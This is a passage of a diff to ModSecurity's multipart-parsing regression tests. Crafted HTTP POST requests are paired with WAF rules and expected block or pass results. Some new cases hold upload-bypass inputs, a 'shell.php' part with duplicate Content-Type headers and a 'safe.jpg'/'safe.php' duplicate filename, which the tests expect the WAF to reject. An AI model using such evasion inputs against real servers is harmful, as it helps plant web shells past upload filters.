+ "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "302", + "Content-Type": "multipart/form-data; boundary=-----------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------69343412719991675451336310646\n", + "Content-Disposition: form-data; name=parm1\n", + "Content-Type: image/jpeg\n", + "\n", + "1\n", + "-------------------------------69343412719991675451336310646\n", + "Content-Disposition: form-data; name=parm2\n", + "\n", + "2\n", + "-------------------------------69343412719991675451336310646--\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Variable: MULTIPART_PART_HEADERS:parm1.*Rule returned 1", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_PART_HEADERS:parm1 \"@rx content-type:.*jpeg\" \"phase:2,deny,status:403,id:500074,t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_PART_HEADERS (specific header - no match)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "312", + "Content-Type": "multipart/form-data; boundary=-----------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=parm1\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "1\r\n", + "-------------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=parm2\r\n", + "\r\n", + "2\r\n", + "-------------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_PART_HEADERS:parm2 \"@rx content-type:.*jpeg\" \"phase:2,deny,status:403,id:500074,t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_PART_HEADERS (check EOL)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "251", + "Content-Type": "multipart/form-data; boundary=-----------------------------69343412719991675451336310646", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "-------------------------------69343412719991675451336310646\r\n", + "Content-Disposition: form-data; name=\"file\"; filename=\"New Text Document.txt\"\r\n", + "Content-Type: text/plain; charset=utf-8\r\n", + "\r\n", + "1\r\n", + "-------------------------------69343412719991675451336310646--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_PART_HEADERS \"@rx ^content-type\\s*+:\\s*+(.*)$\" \"id:922110,phase:2,deny,capture,t:none,t:lowercase,chain\"", + "SecRule TX:1 \"!@rx ^text/plain; charset=(?:iso-8859-15?|windows-1252|utf-8)$\" \"t:lowercase\"" + ] + } +] diff --git a/test/test-cases/regression/variable-MULTIPART_STRICT_ERROR.json b/test/test-cases/regression/variable-MULTIPART_STRICT_ERROR.json index 402e4541dc..ae8a98684b 100644 --- a/test/test-cases/regression/variable-MULTIPART_STRICT_ERROR.json +++ b/test/test-cases/regression/variable-MULTIPART_STRICT_ERROR.json @@ -1,467 +1,862 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_STRICT_ERROR", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary= --------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary= ------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Multipart: Warning: boundary whitespace in C-T header" + "expected": { + "debug_log": "Multipart: Warning: boundary whitespace in C-T header", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_STRICT_ERROR \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_STRICT_ERROR", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=\"--------------------------756b6d74fa1a8ee2\"", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "508", + "Content-Type": "multipart/form-data; boundary=\"------------------------756b6d74fa1a8ee2\"", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "--------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Multipart: Warning: boundary was quoted." + "expected": { + "debug_log": "Multipart: Warning: boundary was quoted.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_STRICT_ERROR \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_STRICT_ERROR", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "513", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--whee." + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "--------------------------756b6d74fa1a8ee2--whee.\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Multipart: Warning: seen data before first boundary" + "expected": { + "debug_log": "Multipart: Warning: seen data before first boundary", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_STRICT_ERROR \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_STRICT_ERROR", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Warning: incorrect line endings used \\(LF\\)" + "expected": { + "debug_log": "Warning: incorrect line endings used \\(LF\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_STRICT_ERROR \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_STRICT_ERROR", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "508", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name='filedata'; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name='filedata'; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "--------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Multipart: Warning: seen data before first boundary" + "expected": { + "debug_log": "Multipart: Warning: seen data before first boundary", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_STRICT_ERROR \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_STRICT_ERROR - RFC2046", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz '()+_,-./:=?", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR - RFC2046", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "205", + "Content-Type": "multipart/form-data; boundary=0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz '()+_,-./:=?", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz '()+_,-./:=?", - "Content-Disposition: form-data; name=\"name\"", - "", - "1", - "--0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz '()+_,-./:=?--" + "uri": "/", + "method": "POST", + "body": [ + "--0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz '()+_,-./:=?\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "1\n", + "--0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz '()+_,-./:=?--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: REQBODY_ERROR\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: REQBODY_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQBODY_ERROR \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_STRICT_ERROR - IQ ", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR - IQ ", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "515", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=file'data; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=file'data; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code": 403, - "debug_log":"Warning: invalid quoting used" + "expected": { + "debug_log": "Warning: invalid quoting used", + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:1,phase:2,deny,status:403\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_STRICT_ERROR - IQ ", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR - IQ ", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "532", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"file'data\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"file'data\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MULTIPART_INVALID_QUOTING \"!@eq 0\" \"id:1,phase:2,deny,status:403\"", "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:2,phase:2,pass\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_STRICT_ERROR with duplicate CT header", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "178", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''shell.php\r\n", + "Content-Type: image/jpeg\r\n", + "Content-Type: application/x-php\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Multipart: Duplicate part header: Content-Type.", + "error_log": "Multipart request body failed strict validation: DH 1", + "http_code": 400 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:'200003',phase:2,t:none,log,deny,status:400,msg:'Multipart request body failed strict validation: DH %{MULTIPART_DUPLICATE_PART_HEADER}'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition filename* invalid syntax", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "349", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=UTF-8'03CB1664.txt\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Multipart: Invalid Content-Disposition header \\(-17", + "error_log": "Multipart request body failed strict validation: IQ 1", + "http_code": 400 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:'200003',phase:2,t:none,log,deny,status:400,msg:'Multipart request body failed strict validation: IQ %{MULTIPART_INVALID_QUOTING}'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart Content-Disposition duplicate filename", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "157", + "Content-Type": "multipart/form-data; boundary=AaB03x", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--AaB03x\r\n", + "Content-Disposition: form-data; name=\"file\"; filename=\"safe.jpg\"; filename=\"safe.php\"\r\n", + "Content-Type: application/octet-stream\r\n", + "\r\n", + "test\r\n", + "--AaB03x--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Multipart: Invalid Content-Disposition header \\(\\-15\\): form-data; 